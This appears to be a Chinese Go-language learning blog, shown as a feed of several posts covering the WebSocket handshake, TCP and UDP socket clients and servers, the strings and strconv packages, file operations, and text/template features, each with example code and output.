WebSockets使用一种特殊的标头，可以将浏览器和服务器之间所需的握手次数减少到只有一次，以建立连接。
此连接在其整个生命周期内将保持活动状态，您可以使用JavaScript从此连接写入或读取数据，如传统TCP套接字的情况。
它解决了实时Web开发所涉及的许多问题，并且与传统HTTP相比具有以下优势：

单个Web客户端只有一个TCP连接。
WebSocket服务器可以将数据推送到Web客户端。
轻量级头，以减少数据传输开销。

WebSocket URL以ws：//或wss：//（SSL）开头。
下图显示了WebSockets的通信过程。
作为握手协议的一部分，将特定的HTTP报头发送到服务器，并建立连接。
然后，服务器或客户端能够通过WebSocket通过JavaScript发送或接收数据。
然后，事件处理程序可以使用此套接字异步接收数据。

{% img https://cdn.xiaorongmao.com/up/golang_web_43_1.png "" %}

WebSocket原则

WebSocket协议实际上非常简单。
成功完成初始握手后，建立连接。
后续数据通信将以“\ x00”开头，以“\ xFF”结尾。
客户端可以看到此前缀和后缀，因为WebSocket将中断两端，自动生成原始数据。

WebSocket连接由浏览器请求并由服务器响应，之后建立连接。
这个过程通常被称为“握手”。

请考虑以下请求和响应：

{% img https://cdn.xiaorongmao.com/up/golang_web_43_2.png "" %}

“Sec-WebSocket-key”是随机生成的，正如您可能已经猜到的那样，它是base64编码的。
服务器需要在接受请求后将此密钥附加到固定字符串：

258EAFA5-E914-47DA-95CA-C5AB0DC85B11

假设我们有f7cb4ezEAl6C3wRaU6JORA ==，那么我们有：

f7cb4ezEAl6C3wRaU6JORA==258EAFA5-E914-47DA-95CA-C5AB0DC85B11

使用sha1计算二进制值并使用base64对其进行编码。
那么我们将：

rE91AJhfC+6JdVcVXOGJEADEJdQ=

使用此作为Sec-WebSocket-Accept响应头的值。

Go基础学习记录之Sockets(四)

Fri, 01 Aug 2025 11:36:11 +0000

控制TCP连接

控制TCP连接函数如下

func DialTimeout(net, addr string, timeout time.Duration) (Conn, error)

设置连接超时。
这些适用于客户端和服务器：

func (c *TCPConn) SetReadDeadline(t time.Time) error
func (c *TCPConn) SetWriteDeadline(t time.Time) error

设置一个连接的写/读超时：

func (c *TCPConn) SetKeepAlive(keepalive bool) os.Error

值得花些时间考虑一下您希望连接超时的时间长短。
长连接可以减少创建连接所涉及的开销量，并且适用于需要频繁交换数据的应用程序。
有关更多详细信息，请查阅Go的net包的官方文档。

UDP sockets(UDP套接字)

UDP套接字和TCP套接字之间的唯一区别是处理服务器端多个请求的处理方法。
这是因为UDP没有像Accept那样的功能。
所有其他功能都有UDP对应物;
在前面介绍的文章中，其中的功能用UDP代替TCP，具体函数如下：

func ResolveUDPAddr(net, addr string) (*UDPAddr, os.Error)
func DialUDP(net string, laddr, raddr *UDPAddr) (c *UDPConn, err os.Error)
func ListenUDP(net string, laddr *UDPAddr) (c *UDPConn, err os.Error)
func (c *UDPConn) ReadFromUDP(b []byte) (n int, addr *UDPAddr, err os.Error
func (c *UDPConn) WriteToUDP(b []byte, addr *UDPAddr) (n int, err os.Error)

UDP客户端代码示例：

package main

import (
 "fmt"
 "net"
 "os"
)

func main() {
 if len(os.Args) != 2 {
 fmt.Fprintf(os.Stderr, "Usage: %s host:port", os.Args[0])
 os.Exit(1)
 }
 service := os.Args[1]
 udpAddr, err := net.ResolveUDPAddr("udp4", service)
 checkError(err)
 conn, err := net.DialUDP("udp", nil, udpAddr)
 checkError(err)
 _, err = conn.Write([]byte("anything"))
 checkError(err)
 var buf [512]byte
 n, err := conn.Read(buf[0:])
 checkError(err)
 fmt.Println(string(buf[0:n]))
 os.Exit(0)
}

func checkError(err error) {
 if err != nil {
 fmt.Fprintf(os.Stderr, "Fatal error ", err.Error())
 os.Exit(1)
 }
}

UDP服务器代码示例：

package main

import (
 "fmt"
 "net"
 "os"
 "time"
)

func main() {
 service := ":1200"
 udpAddr, err := net.ResolveUDPAddr("udp4", service)
 checkError(err)
 conn, err := net.ListenUDP("udp", udpAddr)
 checkError(err)
 for {
 handleClient(conn)
 }
}

func handleClient(conn *net.UDPConn) {
 var buf [512]byte
 _, addr, err := conn.ReadFromUDP(buf[0:])
 if err != nil {
 return
 }
 daytime := time.Now().String()
 conn.WriteToUDP([]byte(daytime), addr)
}

func checkError(err error) {
 if err != nil {
 fmt.Fprintf(os.Stderr, "Fatal error ", err.Error())
 os.Exit(1)
 }
}

Go基础学习记录之Sockets(三)

Fri, 01 Aug 2025 11:36:08 +0000

TCP Server(TCP 服务端)

上篇文章中的介绍我们已经渔鸥了一个TCP客户端。
现在我们使用net包来编写TCP服务器。
在服务器端，我们需要将服务绑定到特定的非活动端口，并侦听任何传入的客户端请求。

用到的函数如下

func ListenTCP(net string, laddr *TCPAddr) (l *TCPListener, err os.Error)
func (l *TCPListener) Accept() (c Conn, err os.Error)

这里要求的参数与我们之前使用的DialTCP函数所需的参数相同。
让我们使用端口7777实现时间同步服务，示例代码如下：

package main

import (
 "fmt"
 "net"
 "os"
 "time"
)

func main() {
 service := ":7777"
 tcpAddr, err := net.ResolveTCPAddr("tcp4", service)
 checkError(err)
 listener, err := net.ListenTCP("tcp", tcpAddr)
 checkError(err)
 for {
 conn, err := listener.Accept()
 if err != nil {
 continue
 }
 daytime := time.Now().String()
 conn.Write([]byte(daytime)) // don't care about return value
 conn.Close() // we're finished with this client
 }
}
func checkError(err error) {
 if err != nil {
 fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())
 os.Exit(1)
 }
}

服务启动后，它会等待客户端请求。
当它收到客户端请求时，它接受它并向客户端返回包含有关当前时间信息的响应。
值得注意的是，当for循环中发生错误时，服务将继续运行而不是退出。
服务器将错误记录到服务器错误日志，而不是崩溃。
但是，上面的代码仍然不够好。
我们没有使用goroutines，这将允许我们接受同时请求。
我们现在就这样做：

package main

import (
 "fmt"
 "net"
 "os"
 "time"
)

func main() {
 service := ":1200"
 tcpAddr, err := net.ResolveTCPAddr("tcp4", service)
 checkError(err)
 listener, err := net.ListenTCP("tcp", tcpAddr)
 checkError(err)
 for {
 conn, err := listener.Accept()
 if err != nil {
 continue
 }
 go handleClient(conn)
 }
}

func handleClient(conn net.Conn) {
 defer conn.Close()
 daytime := time.Now().String()
 conn.Write([]byte(daytime)) // don't care about return value
 // we're finished with this client
}

func checkError(err error) {
 if err != nil {
 fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())
 os.Exit(1)
 }
}

通过将我们的业务流程与handleClient函数分离出来，并使用go关键字，我们已经在服务中实现了并发性。
这是对goroutines的强大和简单性的一个很好的证明。你们中的一些人可能会想到以下内容：这个服务器没有做任何有意义的事情。
如果我们需要通过单个连接发送不同时间格式的多个请求，该怎么办？我们怎么做？

package main

import (
 "fmt"
 "net"
 "os"
 "time"
 "strconv"
)

func main() {
 service := ":1200"
 tcpAddr, err := net.ResolveTCPAddr("tcp4", service)
 checkError(err)
 listener, err := net.ListenTCP("tcp", tcpAddr)
 checkError(err)
 for {
 conn, err := listener.Accept()
 if err != nil {
 continue
 }
 go handleClient(conn)
 }
}

func handleClient(conn net.Conn) {
 conn.SetReadDeadline(time.Now().Add(2 * time.Minute)) // set 2 minutes timeout
 request := make([]byte, 128) // set maximum request length to 128B to prevent flood based attacks
 defer conn.Close() // close connection before exit
 for {
 read_len, err := conn.Read(request)

 if err != nil {
 fmt.Println(err)
 break
 }

 if read_len == 0 {
 break // connection already closed by client
 } else if string(request[:read_len]) == "timestamp" {
 daytime := strconv.FormatInt(time.Now().Unix(), 10)
 conn.Write([]byte(daytime))
 } else {
 daytime := time.Now().String()
 conn.Write([]byte(daytime))
 }
 }
}

func checkError(err error) {
 if err != nil {
 fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())
 os.Exit(1)
 }
}

在这个例子中，我们使用conn.Read()来不断读取客户端请求。
我们无法关闭连接，因为客户端可能会发出多个请求。
由于我们使用conn.SetReadDeadline()设置的超时，连接在我们分配的时间段后自动关闭。
到期时间结束后，我们的程序会从for循环中断。
请注意，需要创建具有最大大小限制的请求，以防止泛洪攻击。

Go基础学习记录之Sockets(二)

Fri, 01 Aug 2025 11:36:05 +0000

TCP socket

当我们知道如何通过网络端口访问Web服务时，我们可以做些什么？
作为客户，我们可以向指定的网络端口发送请求并获得响应;
作为服务器，我们需要将服务绑定到指定的网络端口，等待客户端的请求并提供响应。
在Go的网络包中，有一种称为TCPConn的类型，可以促进这种客户端/服务器交互。
这种类型有两个关键函数，如下：

func (c *TCPConn) Write(b []byte) (n int, err os.Error)
func (c *TCPConn) Read(b []byte) (n int, err os.Error)

客户端或服务器可以使用TCPConn来读取和写入数据。

我们还需要一个TCPAddr来表示TCP地址信息：

type TCPAddr struct {
 IP IP
 Port int
}

我们使用ResolveTCPAddr函数在Go中获取TCPAddr：

func ResolveTCPAddr(net, addr string) (*TCPAddr, os.Error)

net的参数可以是"tcp4"，“tcp6"或"tcp"之一，它们分别表示仅IPv4，仅IPv6，以及IPv4或IPv6。
addr可以是域名或IP地址，例如"www.google.com:80"或"127.0.0.1:22”

TCP客户端

Go客户端使用net包中的DialTCP函数创建TCP连接，该连接返回TCPConn对象;
在建立连接之后，服务器具有与当前连接相同类型的连接对象，并且客户端和服务器可以开始彼此交换数据。
通常，客户端通过TCPConn向服务器发送请求，并从服务器响应中接收信息;
服务器读取并解析客户端请求，然后返回反馈。
在客户端或服务器关闭之前，此连接将保持有效。
创建连接的函数如下：

func DialTCP(net string, laddr, raddr *TCPAddr) (c *TCPConn, err os.Error)

net的参数可以是"tcp4"，“tcp6"或"tcp"之一，它们分别表示仅IPv4，仅IPv6，以及IPv4或IPv6。
laddr表示本地地址，在大多数情况下将其设置为nil。
raddr代表远程地址。

让我们编写一个简单的示例来模拟请求基于HTTP请求连接到服务器的客户端。
我们需要一个简单的HTTP请求标头：

"HEAD / HTTP/1.0\r\n\r\n"

服务器响应信息格式如下所示：

HTTP/1.0 200 OK
ETag: "-9985996"
Last-Modified: Thu, 25 Mar 2010 17:51:10 GMT
Content-Length: 18074
Connection: close
Date: Sat, 28 Aug 2010 00:43:48 GMT
Server: nginx/1.13.10

客户端代码：

package main

import (
 "fmt"
 "io/ioutil"
 "net"
 "os"
)

func main() {
 if len(os.Args) != 2 {
 fmt.Fprintf(os.Stderr, "Usage: %s host:port ", os.Args[0])
 os.Exit(1)
 }
 service := os.Args[1]
 tcpAddr, err := net.ResolveTCPAddr("tcp4", service)
 checkError(err)
 conn, err := net.DialTCP("tcp", nil, tcpAddr)
 checkError(err)
 _, err = conn.Write([]byte("HEAD / HTTP/1.0\r\n\r\n"))
 checkError(err)
 result, err := ioutil.ReadAll(conn)
 checkError(err)
 fmt.Println(string(result))
 os.Exit(0)
}
func checkError(err error) {
 if err != nil {
 fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())
 os.Exit(1)
 }
}

在上面的示例中，我们使用用户输入作为net.ResolveTCPAddr的服务参数来获取tcpAddr。
将tcpAddr传递给DialTCP函数，我们创建了一个TCP连接，即conn。
然后我们可以使用conn向服务器发送请求信息。
最后，我们使用ioutil.ReadAll从conn中读取所有内容，其中包含服务器响应。

待续…

Go基础学习记录之Sockets(一)

Fri, 01 Aug 2025 11:36:02 +0000

Sockets(套接字)

一些网络应用程序开发人员说较低的应用程序层都是关于套接字编程的。
对于所有情况，这可能并非如此，但许多现代Web应用程序确实使用套接字来发挥其优势。
你有没有想过当你上网时浏览器如何与网络服务器通信？
或者MSN如何在聊天室中将您和您的朋友连接在一起，实时传递每条消息？
许多像这样的服务使用套接字来传输数据。
正如您所看到的，套接字在今天的网络编程中占有重要地位，下面来学习如何在Go中使用套接字。

什么是Sockets(套接字)

套接字源自Unix，并且鉴于Unix的基本"一切都是文件"的哲学，一切都可以通过"打开->写入/读取->关闭"来操作。
套接字是这种哲学的一种实现。
套接字具有打开套接字的函数调用，就像打开文件一样。
这将返回套接字的int描述符，然后可以将其用于创建连接，传输数据等操作。
常用的两种类型的套接字是流套接字（SOCK_STREAM）和数据报套接字（SOCK_DGRAM）。
流套接字是面向连接的，如TCP，而数据报套接字不建立连接，如UDP。

套接字通信

在我们了解套接字如何相互通信之前，我们需要弄清楚如何确保每个套接字都是唯一的，否则建立一个可靠的通信通道已经不可能了。
我们可以为每个进程提供一个独特的PID，它在本地服务于我们的目的，但是无法通过网络工作。
幸运的是，TCP/IP帮助我们解决了这个问题。
网络层的IP地址在主机网络中是唯一的，并且"协议+端口"在主机应用程序中也是唯一的。
因此，我们可以使用这些原则来制作独特的套接字。

{% img https://cdn.xiaorongmao.com/up/golang_web_39_1.png "" %}

基于TCP/IP的应用程序都以某种方式在其代码中使用套接字API。
鉴于网络应用程序在现代变得越来越普遍，难怪一些开发人员说"一切都是关于套接字"。

套接字基础知识

我们知道套接字有两种类型，即TCP套接字和UDP套接字。
TCP和UDP是协议，如上所述，我们还需要一个IP地址和端口号来拥有一个唯一的套接字。

IPv4

全球互联网使用TCP/IP作为其协议，其中IP是网络层和TCP/IP的核心部分。
IPv4表示其版本为4;
迄今为止，基础设施发展已超过30年。
IPv4地址中的位数为32，这意味着2^32个设备能够唯一地连接到 Internet。
由于互联网的快速发展，近年来IP地址已经缺货。
地址格式：127.0.0.1,172.122.121.111。

IPv6

IPv6是下一版本或下一代互联网。
它正在开发用于解决IPv4固有的许多问题。
使用IPv6的设备的地址长度为128位，因此我们永远不必担心唯一地址的短缺。
从这个角度来看，使用IPv6可以为地球上的每平方米提供超过1000个IP地址。
还可以改进诸如对等连接，服务质量(QoS)，安全性，多播等的其他问题。
地址格式：2002:c0e8:82e7:0:0:0:c0e8:82e7。

Go中的IP类型

Go中的网络包提供了许多用于网络编程的类型，功能和方法。
IP的定义如下：

type IP []byte

函数ParseIP（s string）IP是将IPv4或IPv6格式转换为IP：

package main

import (
 "fmt"
 "net"
 "os"
)

func main() {
 if len(os.Args) != 2 {
 fmt.Fprintf(os.Stderr, "Usage: %s ip-addr\n", os.Args[0])
 os.Exit(1)
 }
 name := os.Args[1]
 addr := net.ParseIP(name)
 if addr == nil {
 fmt.Println("Invalid address")
 } else {
 fmt.Println("The address is ", addr.String())
 }
 os.Exit(0)
}

它返回给定IP地址的相应IP格式。

Go基础学习记录之字符串处理(strings和strconv)

Fri, 01 Aug 2025 11:35:59 +0000

在Web上，我们看到的几乎所有内容（包括用户输入，数据库访问等）都由字符串表示。它们是Web开发中非常重要的一部分。在许多情况下，我们还需要拆分，连接，转换和操作字符串。本篇文章我们一起学习下Go标准库中的字符串和strconv包。

字符串包介绍

以下函数来自strings包。有关详细信息，请参阅官方文档：

func Contains(s, substr string) bool // 检查字符串s是否包含字符串substr，返回一个布尔值。

如下实例

package main

import (
	"fmt"
	"strings"
)

func main() {
	fmt.Println(strings.Contains("seafood", "foo"))
	fmt.Println(strings.Contains("seafood", "bar"))
	fmt.Println(strings.Contains("seafood", ""))
	fmt.Println(strings.Contains("", ""))
}

编译运行后得到Strings处理的结果如下

true
false
true
true

func Join(a []string, sep string) string // 将切片中的字符串与分隔符sep组合在一起

如下实例

package main

import (
	"fmt"
	"strings"
)

func main() {
	s := []string{"foo", "bar", "baz"}
	fmt.Println(strings.Join(s, ", "))
}

编译运行后得到Strings处理的结果如下

foo, bar, baz

func Index(s, sep string) int // 在字符串s中查找sep的索引，如果找不到则返回-1。

package main

import (
	"fmt"
	"strings"
)

func main() {
	fmt.Println(strings.Index("chicken", "ken"))
	fmt.Println(strings.Index("chicken", "dmr"))
}

编译运行后得到Strings处理的结果如下

4
-1

func Repeat(s string, count int) string // 重复字符串的计数次数。

package main

import (
	"fmt"
	"strings"
)

func main() {
	fmt.Println("ba" + strings.Repeat("na", 2))
}

编译运行后得到Strings处理的结果如下

banana

func Replace(s, old, new string, n int) string // 将字符串old替换为字符串s中的字符串new。n是替换数量。如果n小于0，则替换所有实例。

package main

import (
	"fmt"
	"strings"
)

func main() {
	fmt.Println(strings.Replace("oink oink oink", "k", "ky", 2))
	fmt.Println(strings.Replace("oink oink oink", "oink", "moo", -1))
}

编译运行后得到Strings处理的结果如下

oinky oinky oink
moo moo moo

func Split(s, sep string) []string // 将带有分隔符的字符串s拆分为切片。

package main

import (
	"fmt"
	"strings"
)

func main() {
	fmt.Printf("%q\n", strings.Split("a,b,c", ","))
	fmt.Printf("%q\n", strings.Split("a man a plan a canal panama", "a "))
	fmt.Printf("%q\n", strings.Split(" xyz ", ""))
	fmt.Printf("%q\n", strings.Split("", "Bernardo O'Higgins"))
}

编译运行后得到Strings处理的结果如下

["a" "b" "c"]
["" "man " "plan " "canal panama"]
[" " "x" "y" "z" " "]
[""]

func Trim(s string, cutset string) string // 如果字符串s最左边或最右边，删除字符串s的剪切集。

package main

import (
	"fmt"
	"strings"
)

func main() {
	fmt.Printf("[%q]", strings.Trim(" !!! Achtung !!! ", "! "))

}

编译运行后得到Strings处理的结果如下

["Achtung"]

func Fields(s string) []string //删除空格项并将带有空格的字符串拆分为切片。

package main

import (
	"fmt"
	"strings"
)

func main() {
	fmt.Printf("Fields are: %q", strings.Fields(" foo bar baz "))

}

编译运行后得到Strings处理的结果如下

Fields are: ["foo" "bar" "baz"]

strconv包的介绍

以下函数来自strconv包。像往常一样，请参阅官方文档了解更多详情：

追加系列，将数据转换为字符串，并附加到当前字节切片。

实例演示如下

package main

import (
	"fmt"
	"strconv"
)

func main() {
	str := make([]byte, 0, 100)
	str = strconv.AppendInt(str, 4567, 10)
	str = strconv.AppendBool(str, false)
	str = strconv.AppendQuote(str, "abcdefg")
	str = strconv.AppendQuoteRune(str, '单')
	fmt.Println(string(str))

}

编译运行后得到strconv处理的结果如下

4567false"abcdefg"'单'

格式化系列，将其他数据类型转换为字符串。

实例演示如下

package main

import (
	"fmt"
	"strconv"
)

func main() {
	a := strconv.FormatBool(false)
	b := strconv.FormatFloat(123.23, 'g', 12, 64)
	c := strconv.FormatInt(1234, 10)
	d := strconv.FormatUint(12345, 10)
	e := strconv.Itoa(1023)
	fmt.Println(a, b, c, d, e)

}

编译运行后得到strconv处理的结果如下

false 123.23 1234 12345 1023

解析系列，将字符串转换为其他类型。

实例演示如下

package main

import (
	"fmt"
	"strconv"
)

func main() {
	a, err := strconv.ParseBool("false")
	if err != nil {
		fmt.Println(err)
	}

	b, err := strconv.ParseFloat("123.23", 64)
	if err != nil {
		fmt.Println(err)
	}

	c, err := strconv.ParseInt("1234", 10, 64)
	if err != nil {
		fmt.Println(err)
	}

	d, err := strconv.ParseUint("12345", 10, 64)
	if err != nil {
		fmt.Println(err)
	}

	e := strconv.Itoa(1023)
	fmt.Println(a, b, c, d, e)
}

编译运行后得到strconv处理的结果如下

false 123.23 1234 12345 1023

今天的学习就到这里，明天继续。

Go基础学习记录之文件操作(Files)

Fri, 01 Aug 2025 11:35:57 +0000

文件是每台计算机设备上的基本对象。Web应用程序也会大量使用它们，这对您来说并不意外。如何在Go中操作文件。接下来一起学习。

func Mkdir(name string, perm FileMode) error // 创建一个名称目录。perm是目录权限，即0777
func MkdirAll(path string, perm FileMode) error // 根据路径创建多个目录，如wiki/test1/test2
func Remove(name string) error // 删除名称目录。如果它不是目录或不为空，则返回错误。
func RemoveAll(path string) error // 根据路径删除多个目录。如果path是单个路径，则不会删除目录。

代码实例如下

package main

import (
 "fmt"
 "os"
)

func main() {
 os.Mkdir("gowhich", 0777)
 os.MkdirAll("gowhich/test1/test2", 0777)
 err := os.Remove("gowhich")
 if err != nil {
 fmt.Println(err)
 }
 os.RemoveAll("gowhich")
}

创建和打开文件

创建文件有两个功能：

func Create(name string) (file *File, err Error) // 创建一个带有name的文件，并返回一个具有权限0666的可读写文件对象。
func NewFile(fd uintptr, name string) *File // 创建一个文件并返回一个文件对象。

打开文件还有两个功能：

func Open(name string) (file *File, err Error) // 打开一个名为name且具有只读访问权限的文件，在封面下调用OpenFile。
func OpenFile(name string, flag int, perm uint32) (file *File, err Error) // 打开名为name的文件。flag是打开模式，如read-only, read-write等，perm是文件权限。

写文件

写文件的功能：

func (file *File) Write(b []byte) (n int, err Error) // 将字节类型内容写入文件。
func (file *File) WriteAt(b []byte, off int64) (n int, err Error) // 将字节类型内容写入文件的特定位置。
func (file *File) WriteString(s string) (ret int, err Error) // 将字符串写入文件。

代码实例如下

package main

import (
 "fmt"
 "os"
)

func main() {
 userFile := "gowhich.txt"
 fout, err := os.Create(userFile) 
 if err != nil {
 fmt.Println(userFile, err)
 return
 }
 defer fout.Close()
 for i := 0; i < 10; i++ {
 fout.WriteString("Only a test!\r\n")
 fout.Write([]byte("Only a test!\r\n"))
 }
}

读取文件

读取文件的功能：

func (file *File) Read(b []byte) (n int, err Error) // 读数据到b。
func (file *File) ReadAt(b []byte, off int64) (n int, err Error) // 从位置off到b读取数据。

代码实例演示如下

package main

import (
 "fmt"
 "os"
)

func main() {
 userFile := "gowhich.txt"
 fl, err := os.Open(userFile) 
 if err != nil {
 fmt.Println(userFile, err)
 return
 }
 defer fl.Close()
 buf := make([]byte, 1024)
 for {
 n, _ := fl.Read(buf)
 if 0 == n {
 break
 }
 os.Stdout.Write(buf[:n])
 }
}

删除文件

Go使用相同的功能删除文件和目录：

func Remove(name string) Error // 删除名为name的文件或目录（以/结尾的名称表示它是一个目录）

Go基础学习记录之模板(template)[三]

Fri, 01 Aug 2025 11:35:54 +0000

Must

模板包有一个名为Must的函数，用于验证模板，如大括号，注释和变量的匹配。我们来看看Must的一个例子：

package main

import (
 "fmt"
 "text/template"
)

func main() {
 t1 := template.New("first")
 template.Must(t1.Parse(" some static text /* and a comment */"))
 fmt.Println("第一个解析OK")

	t2 := template.New("second")
 template.Must(t2.Parse("some static text {{ .Name }}"))
 fmt.Println("第二个解析OK")

 fmt.Println("下一个解析失败")
 t3 := template.New("check parse error with Must")
 template.Must(t3.Parse(" some static text {{ .Name }"))
}

编译后运行得到如下结果

第一个解析OK
第二个解析OK
下一个解析失败
panic: template: check parse error with Must:1: unexpected "}" in operand

模板嵌套

就像在大多数Web应用程序中一样，模板的某些部分可以在其他模板中重用，例如博客的页眉和页脚。我们可以将header，content和footer声明为子模板，并使用以下语法在Go中声明它们：

{{define "sub-template"}}content{{end}}

使用以下语法调用子模板：

{{template "sub-template"}}

下面是一个完整的例子，假设我们有以下三个文件：header.html、content.html和footer.html在文件夹模板中，我们将读取文件夹并将文件名存储在字符串数组中，然后我们将使用解析文件。

main模板：

{% raw %}
//header.html
{{define "header"}}
<html>
<head>
 <title>Something here</title>
</head>
<body>
{{end}}

//content.html
{{define "content"}}
{{template "header"}}
<h1>Nested here</h1>
<ul>
 <li>Nested usag</li>
 <li>Call template</li>
</ul>
{{template "footer"}}
{{end}}

//footer.html
{{define "footer"}}
</body>
</html>
{{end}}

// 使用子模板时，请确保已解析每个子模板文件
// 否则编译器在读取{{template "header"}}时不会理解要替换的内容

{% endraw %}

代码如下

package main

import (
	"fmt"
	"io/ioutil"
	"os"
	"text/template"
	"strings"
)

var templates *template.Template

func main() {
	var allFiles []string
	files, err := ioutil.ReadDir("./templates")
	if err != nil {
		fmt.Println(err)
	}
	for _, file := range files {
		filename := file.Name()
		if strings.HasSuffix(filename, ".html") {
			allFiles = append(allFiles, "./templates/"+filename)
		}
	}

	templates, err = template.ParseFiles(allFiles...) // parses all .html files in the 'templates' folder

	if err != nil {
		fmt.Println(err)
	}

	s1 := templates.Lookup("header.html")
	s1.ExecuteTemplate(os.Stdout, "header", nil)
	fmt.Println()
	s2 := templates.Lookup("content.html")
	s2.ExecuteTemplate(os.Stdout, "content", nil)
	fmt.Println()
	s3 := templates.Lookup("footer.html")
	s3.ExecuteTemplate(os.Stdout, "footer", nil)
	fmt.Println()
	s3.Execute(os.Stdout, nil)
}

在这里我们可以看到template.ParseFiles将所有嵌套模板解析为缓存，并且{{define}}定义的每个模板都是相互独立的。它们保存在类似于map的地方，其中模板名称是键，值是模板主体。然后我们可以使用ExecuteTemplate来执行相应的子模板，这样页眉和页脚就是独立的，内容包含它们。请注意，如果我们尝试执行s1.Execute，则不会输出任何内容，因为没有可用的默认子模板。

在看下下面这个例子

// 视图渲染
t, err := template.ParseFiles(append(config.CommonTemplatesFiles, config.TemplateDir+"/update.html")...)

if err != nil {
	http.Error(w, err.Error(), http.StatusInternalServerError)
	return
}

err = t.ExecuteTemplate(w, "update.html", struct {
	Autokid int64
	Title string
	Content string
}{
	Autokid: autokid,
	Title: title,
	Content: content.String,
})

if err != nil {
	http.Error(w, err.Error(), http.StatusInternalServerError)
	return
}

这个是实战中的例子，是我在开发的一个web框架中使用到的

t, err := template.ParseFiles(append(config.CommonTemplatesFiles, config.TemplateDir+"/update.html")...)

这段代码表示加载了一个页面需要的子模板，我将共用的模板放在了config.CommonTemplatesFiles这个变量中，这个时候在update.html中需要用的子模板就会被加载进来。

t.ExecuteTemplate(w, "update.html", nil)

这段代码是用来指定默认的模板的，不然不会输入任何内容，这里在使用的时候切记。

当您不想使用{{define}}时，您只需创建一个带有子模板名称的文本文件，例如_head.html是一个子模板，您将在项目中使用该模板然后创建此模板文件夹在templates文件夹中，并使用普通语法。基本上创建了查找缓存，以便每次提交请求时都不会读取文件，因为如果这样做，那么您将浪费大量资源来读取除非重写代码库之外不会更改的文件，在每个HTTP GET请求期间解析模板文件没有意义，因此该技术用于我们解析文件一次然后在缓存上执行Lookup()以在我们需要它来显示数据时执行模板。

一组中的模板彼此了解，但您必须为每一组解析它们。

有时你想要模板化上下文，例如你有一个_head.html，你可能有一个标题，你必须根据你要加载的数据来填充这个标题，例如对于待办事项列表管理器你可以有三个待定的类别pending, completed, deleted。对于这个假设你有一个像这样的if条件语句

<title>{{if eq .Navigation "pending"}} Tasks
 {{ else if eq .Navigation "completed"}}Completed
 {{ else if eq .Navigation "deleted"}}Deleted
 {{ else if eq .Navigation "edit"}} Edit
 {{end}}
</title>

注意：

Go模板遵循波兰表示法，同时执行比较，您首先给操作员，比较值和要比较的值。其他部分非常简单

通常我们使用{{range}}运算符循环遍历我们传递给模板的上下文变量，同时执行如下：

// present in views package
context := db.GetTasks("pending") // true when you want non deleted notes
homeTemplate.Execute(w, context)

我们从数据库中获取上下文对象作为struct对象，假如定义如下

// Task is the struct used to identify tasks
type Task struct {
 Id int
 Title string
 Content string
 Created string
}
// Context is the struct passed to templates
type Context struct {
 Tasks []Task
 Navigation string
 Search string
 Message string
}

// present in database package
var task []types.Task
var context types.Context
context = types.Context{Tasks: task, Navigation: status}

// This line is in the database package where the context is returned back to the view.

我们在模板中使用任务数组和导航，我们看到了如何在模板中使用导航，我们将看到我们将如何在模板中使用实际任务数组。

在{{if .Tasks}}中，我们首先检查在执行时传递给模板的上下文对象的Tasks字段是否为空。如果它不是空的，那么我们将通过该数组来填充Task的标题和内容。以下示例在循环模板中的数组时非常重要，我们从Range运算符开始，然后我们可以将该结构的任何成员作为{{.Name}}，我的任务结构有一个标题和一个内容，（请注意大写字母T和C，它们是导出的名称，除非您想将它们设为私有，否则它们需要大写）。

{{ range .Tasks }}
 {{ .Title }}
 {{ .Content }}
{{ end }}

此代码块将打印Task数组的每个标题和内容。以下是github.com/thewhitetulip/Tasks home.html模板的完整示例。

<div class="timeline">
{{ if .Tasks}} {{range .Tasks}}
<div class="note">
 <p class="noteHeading">{{.Title}}</p>
 <hr>
 <p class="noteContent">{{.Content}}</p>
 </ul>
 </span>
</div>
{{end}} {{else}}
<div class="note">
 <p class="noteHeading">No Tasks here</p>
 <p class="notefooter">
 Create new task<button class="floating-action-icon-add" > here </button> </p>
</div>
{{end}}

模板函数和嵌套模板中打印数据的技术将动态数据与模板相结合。通过了解模板，我们可以得出结论，讨论MVC架构的V（View）部分。在接下来的学习分享中，将分享MVC的M（模型）和C（控制器）方面。

Go基础学习记录之模板(template)[二]

Fri, 01 Aug 2025 11:35:51 +0000

条件语句

如果需要检查模板中的条件，可以像使用常规Go程序一样使用if-else语法。如果管道为空，则默认值if为false。以下示例显示如何在模板中使用if-else：

package main

import (
 "os"
 "text/template"
)

func main() {
 tEmpty := template.New("template test")
 tEmpty = template.Must(tEmpty.Parse("Empty pipeline if demo: {{if ``}} will not be outputted. {{end}}\n"))
 tEmpty.Execute(os.Stdout, nil)

 tWithValue := template.New("template test")
 tWithValue = template.Must(tWithValue.Parse("Not empty pipeline if demo: {{if `anything`}} will be outputted. {{end}}\n"))
 tWithValue.Execute(os.Stdout, nil)

 tIfElse := template.New("template test")
 tIfElse = template.Must(tIfElse.Parse("if-else demo: {{if `anything`}} if part {{else}} else part.{{end}}\n"))
 tIfElse.Execute(os.Stdout, nil)
}

重新编译运行后结果如下

Empty pipeline if demo: 
Not empty pipeline if demo: will be outputted. 
if-else demo: if part

如您所见，在模板中使用if-else很容易。注意你不能在if中使用条件表达式，例如.Mail =="[email protected]"只接受布尔值。

管道"|"

Unix用户应该熟悉管道运算符，比如 ls | grep "gowhich" 。此命令过滤文件，仅显示包含单词gowhich的文件。我喜欢Go模板的一件事是它们支持管道。 {{}} 中的任何内容都可以是管道数据。我们上面使用的电子邮件可能会使我们的应用程序容易受到XSS攻击。我们如何使用管道来解决这个问题？

{{. | html}}

我们可以使用此方法将电子邮件正文转义为HTML。它与编写Unix命令非常相似，并且可以方便地用于模板函数。

模板变量

有时我们需要在模板中使用局部变量。我们可以将它们与with，range和if关键字一起使用，它们的范围介于这些关键字和{{end}}之间。下面是一个声明全局变量的示例：

$variable := pipeline

其他的示例如下

{{with $x := "output" | printf "%q"}}{{$x}}{{end}}
{{with $x := "output"}}{{printf "%q" $x}}{{end}}
{{with $x := "output"}}{{$x | printf "%q"}}{{end}}

模板函数

Go使用fmt包来格式化模板中的输出，但有时我们需要做其他事情。例如，考虑以下场景：假设我们想在我们的电子邮件地址中用at替换@，就像将[email protected]变为durban.zhangatgmail.com一样。此时，我们必须编写一个自定义函数。每个模板函数都有一个唯一的名称，并与Go程序中的一个函数相关联，如下所示：

type FuncMap map[string]interface{}

